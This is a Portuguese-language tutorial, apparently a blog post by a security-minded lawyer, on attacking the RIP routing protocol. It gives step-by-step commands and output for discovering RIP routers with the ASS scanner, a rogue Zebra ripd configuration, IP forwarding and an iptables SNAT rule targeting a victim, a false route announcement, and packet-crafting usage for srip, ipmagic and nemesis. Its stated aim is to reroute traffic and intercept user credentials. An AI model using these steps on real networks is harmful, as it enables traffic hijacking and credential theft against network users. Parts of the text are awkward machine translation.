Rotas rip falsas.
Petukhov Oleg, advogado de Direito Internacional e proteção de dados pessoais, especialista em informação segurança, proteção de informações e dados pessoais.
Canal do Telegram: https://t.me/protecaodaInformacao
Grupo em Telegram: https://t.me/protecaodaInformacao1
Site: https://legascom.ru
Correio eletrónico: online@legascom.ru
#segurançadaInformação #Segurançadainformação
O protocolo RIP usa a porta 520 e UDP para operação. Os roteadores "escutam" o tráfego nesta porta. Assim, qualquer pacote do formato apropriado será recebido e processado pelo roteador. Se a autenticação RIP não for usada ou a senha estiver vazia, um invasor poderá enviar dados de rota incorretos para esse roteador, redirecionando assim o tráfego de rede através dos nós controlados pelo invasor.
A primeira coisa que um invasor deve iniciar seu ataque é identificar roteadores usando o protocolo RIP. Existem várias maneiras de fazer isso.
1. Você pode ouvir o tráfego usando um sniffer. Os roteadores trocam informações de roteamento a cada 30 segundos. A troca também é realizada quando a topologia é alterada. Nós temos executado já este ataque em seções anteriores na ARP-falsificação. Deixe-me apenas lembrá-lo de que, para implementá-lo, um invasor precisa estar na própria rede local.
2. Um invasor também pode verificar a rede em busca de nós com uma porta UDP 520 aberta.
3. O melhor, e frequentemente a única solução possível, é usar um analisador de pacote de informação especializado que permita que você intercepte e analise atualizações às tabelas de rota.
Essa ferramenta especializada é um utilitário com o nome descomplicado ASS (autonomous system scanner). Este utilitário permite que você execute a pesquisa ativa e passiva de roteadores e protocolos de roteamento. Durante o processo de digitalização, o ASS opera no modo ativo e, no final, muda para o modo passivo, que escuta apenas o tráfego. Este utilitário suporta não apenas RIP, mas também outros protocolos de roteamento, portanto, retornaremos a ele mais de uma vez no futuro.
Aqui está um exemplo de trabalho no modo passivo:
root@kali : # ./ass -i eth0
ASS [Autonomous System Scanner] $Revision: 1.24 $
(c) 2k++ FX <fx@phenoelit.de>;
Phenoelit (http://www.phenoelit.de)
IRPAS build XXXIX
passive listen ... (hit Ctrl-C to finish)
>>>Results>>>
Router 192.168.66.101 (RIPv2 )
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.77.0/255.255.255.0, next: 0.0.0.0
(tag 0, mtr 1)
Router 192.168.66.100 (RIPv2 )
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.0.1/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.105/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
Do jeito que está, o utilitário está rodando em modo ativo.:
root@kali : # ./ass -i eth0 -A -v
ASS [Autonomous System Scanner] $Revision: 1.24 $
(c) 2k++ FX <fx@phenoelit.de>;
Phenoelit (http://www.phenoelit.de)
IRPAS build XXXIX
Scanning
+ scanning IRDP ...
+ scanning RIv1 ...
+ scanning RIPv2 ...
+ scanning IGRP ...
+ waiting for EIGRP HELLOs (12s) ...
Continuing capture ... (hit Ctrl-C to finish)
>>>Results>>>
Router 192.168.66.100 (RIPv1 RIPv2 )
RIP1 [ n/a ] 0.0.0.0 (metric 1)
RIP1 [ n/a ] 192.168.0.1 (metric 1)
RIP1 [ n/a ] 192.168.66.9 (metric 1)
RIP1 [ n/a ] 192.168.66.105 (metric 1)
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.0.1/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.105/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
Router 192.168.66.101 (RIPv2 )
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.77.0/255.255.255.0, next: 0.0.0.0
(tag 0, mtr 1)
Os exemplos acima mostram a troca interceptada de informações de roteamento entre dois roteadores 192.168.66.100 e 192.168.66.101. A autenticação não é usada, caso contrário, um método como md5 teria sido especificado.
No exemplo abaixo, o IP do roteador é o roteador de destino cujo tráfego está sendo monitorado e o número de versão do protocolo RIP 1 ou 2 é indicado com a tecla –P.
root@kali : # ass -v -i eth0 -D <router IP> -P <1 | 2>
Assim, identificamos com sucesso os roteadores usando o protocolo RIP, sua versão, bem como o método de autenticação. Agora você pode tentar realizar um ataque. No caso o mais simples, você pode reorientar o tráfego através de seu roteador a fim interceptar credenciais do Usuário. Ao mesmo tempo, não nos esquecemos do limite de 15 roteadores entre quaisquer dois nós de rede.
Para realizar o ataque, você deve primeiro configurar seu roteador falso e depois trocar informações de rota com roteadores vizinhos.
Para fazer isso, você precisa fazer as configurações apropriadas em nosso roteador. Está aqui um exemplo de um arquivo de configuração que use o protocolo da versão 2 do rasgo e uma chave de autenticação única.
!
! Zebra configuration saved from vty
! 2005/08/12 23:44:33
!
hostname legitimate.ripd
password 8 p@ssw0rd>
enable password 8 Cb/yfFsI.abqs
service advanced-vty
service password-encryption
!
!
key chain dmz_auth
key 1
key-string secret_key
!
interface eth0
description DMZ_network
ip rip authentication mode md5 auth-length old-ripd
ip rip authentication key-chain dmz_auth
!
router rip
version 2
redistribute connected
network 192.168.20.0/24
!
line vty
exec-timeout 30 0
!
Em seguida, você precisa configurar o encaminhamento de tráfego através do seu host. Você pode fazer isso da seguinte maneira:
root@kali : # echo 1 > /proc/sys/net/ipv4/ip_forward
A próxima etapa preparatória é configurar a conversão de endereços usando a conversão de endereços de rede (NAT). Isso é necessário para que os pacotes que viajam de ou para a máquina da vítima cheguem ao seu destino final, ou seja, não sejam perdidos.
root@kali : # iptables -t nat -A POSTROUTING -o eth0 -s victim_IP -j SNAT --to-source your_IP
Antes de lançar um ataque, você precisa de determinar exatamente que roteador você quer enviar a atualização de informação de rota falsa do rasgo a. O destinatário deve ser um endereço unicast, não multicast, pois neste caso o ataque é muito mais fácil de detectar.
Na próxima etapa, criamos um registro de rota:
router rip
version 2
default-information originate
neighbor 192.168.20.103
route 192.168.66.9/32
Agora, o tráfego proveniente da rede 192.168.77.0/24 para a máquina 192.168.66.9 passará pelo roteador do invasor.
Agora, após o anúncio semelhante da rede 192.168.77.0 / 24, novas rotas aparecerão nas tabelas de roteamento RIP. No entanto, o caminho mais curto ainda é o caminho entre dois roteadores legais. No entanto, se um invasor conseguir desativar um canal legítimo de alguma forma (por exemplo, por "inundação"), todo o tráfego passará por um roteador falso.
Para concluir o tópico de rotas falsas, vejamos mais alguns utilitários para gerar atualizações RIP regularmente. Um exemplo de um desses utilitários é o sri:
root@kali : # srip <RIP version> -n <netmask> <malicious router IP>
<targeted RIP router IP> <destination host or network IP> <metric>
onde <IP do roteador malicioso> é a máquina através da qual o tráfego está planejado para ser redirecionado, ou seja, o host do invasor; <host de destino ou IP da rede> é o endereço para o qual os dados são transmitidos; <metric> geralmente é o valor 1.
Para ajustar as atualizações do RIP, você pode usar o utilitário ipmagic do projeto IP Sorcery.
Aqui está um exemplo de todas as opções deste utilitário:
root@kali : #./ipmagic
Usage: ./ipmagic [options]
IP: [-is|-id|-ih|-iv|-il|-it|-io|-id|-ip]
-is: source host or address def. 127.0.0.1
-id: source destination or address def. 127.0.0.1
-ih: IP header length def. 5
-iv: IP version def. 4
-il: Time-to-Live def. 64
-it: Type-of-Service def. 0
-io: IP frag offset [(D)on't Fragment|(M)ore Fragments|(F)ragment|(N)one]
-ii: IP packet ID for fragmentation def. 0
-ip: IP protocol [TCP|UDP|ICMP|IP] def. TCP -iO: IP options
<skip>
UDP: [-us|-ud|-ul]
-us: UDP source port def. rand()
-ud: UDP destination port def. 161
-ul: UDP length
RIP: [-uR|-uRc|-uRv]
-uR: Send default RIP packet to port 520
-uRc: RIP command [RQ|RS|TN|TF|SR|TQ|TS|TA|UQ|US|UA] def. RQ
For a list of RIP commands run program with -h rip
-uRv: RIP version [1|2] def. 2
Note: Entry Tables should be used with response packets[RS|TS|US]
-uRa(1|2|etc.): RIP Entry table Address exmp. -uRa1
-uRn(1|2|etc.): RIP Entry table Netmask, exmp. -uRn2
-uRh(1|2|etc.): RIP Entry table Next Hop, exmp. -uRn(num)
-uRm(1|2|etc.): RIP Entry table Metric
-uRr(1|2|etc.): RIP Entry table Route Tag
-uRe: Add default RIP Entry table to packet
root@kali : #./ipmagic -h rip
RIP Commands [RQ|RS|TN|TF|SR|TQ|TS|TA|UQ|US|UA]
RS: Response Packet
RQ: Request Packet
TN: Trace On
TF: Trace Off
SR: Sun Reserved
TQ: Triggered Request
TR: Triggered Response
TA: Triggered Acknowledgement
UQ: Update Request
UR: Update Response
UA: Update Acknowledgment
Finalmente, Nemesis é outra ferramenta útil para atacar o protocolo de roteamento RIP. O conjunto de opções para este utilitário também é bastante rico.
root@kali : # nemesis rip help
RIP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)
RIP usage:
rip [-v (verbose)] [options]
RIP options:
-c <RIP command>
-V <RIP version>
-r <RIP routing domain>
-a <RIP address family>
-R <RIP route tag>
-i <RIP route address>
-k <RIP network address mask>
-h <RIP next hop address>
-m <RIP metric>
-P <Payload file>
UDP options:
-x <Source port>
-y <Destination port>
IP options:
-S <Source IP address>
-D <Destination IP address>
-I <IP ID>
-T <IP TTL>
-t <IP TOS>
-F <IP fragmentation options>
-F[D],[M],[R],[offset]
-O <IP options file>
Data Link Options:
-d <Ethernet device name>
-H <Source MAC address>
-M <Destination MAC address>
Uma desvantagem significativa das ferramentas descritas acima é que elas não podem enviar pacotes RIP usando autenticação. A autenticação de hackers pode ser a saída, mas falaremos sobre isso mais tarde.
